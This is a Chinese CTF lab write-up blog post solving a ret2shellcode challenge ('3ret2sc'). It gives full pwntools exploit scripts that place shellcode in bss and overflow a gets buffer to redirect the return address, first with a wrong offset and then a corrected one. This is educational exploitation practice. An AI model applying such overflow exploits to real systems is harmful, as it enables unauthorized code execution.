lab3

check一下,发现什么都没开


image.png

拖进ida,没有system和binsh,所以我们直接调用shellcode即可


image.png

image.png

第一次输入写进了bss段,第二次输入用gets函数,所以我们只需要在第一次输入的时候输入shellcode,第二次输入将name地址覆盖ret地址

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./3ret2sc')
shellcode_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")
payload = "A" * 0x14 + p32(0) + p32(shellcode_addr)
p.sendline(payload)
p.interactive()

出现了错误


image.png

查看大佬的博客发现偏移应该时0x1c
原因是因为又这一行代码

text:080484D0                 and     esp, 0FFFFFFF0h //会将ebp对齐,使得ebp与s的相对偏移不再是0x14

在gdb里面调试可得


脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./3ret2sc')
shellcode_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")
payload = "A" * 0x1c + p32(0) + p32(shellcode_addr)
p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 我想做个文艺青年,即便我曾是一名工科女。 于我本身而言,我从小被告知的是:好好学习才有出息。于是我学习的...
    燕子丫阅读 260评论 0 0
  • 卫衣卫衣,可以说每一个男生的衣柜里,都会有几件卫衣。对于直男来说,卫衣穿着方便还舒适温暖,出门一套即可;而对于潮男...
    健潮阅读 230评论 0 0
  • -01- 2018年,我的很多朋友许下心愿:脱单。 看着朋友圈里很多人晒情侣照,撒狗粮,自己感到很焦虑。年纪一大把...
    Joyce姐姐阅读 605评论 2 6
  • 我们经常听到许多同学说,我想转岗/入行产品,但是我完全不知道怎么开始。为此我们特地找到几位刚刚转行的产品同学,采访...
    Coco_起点阅读 385评论 0 0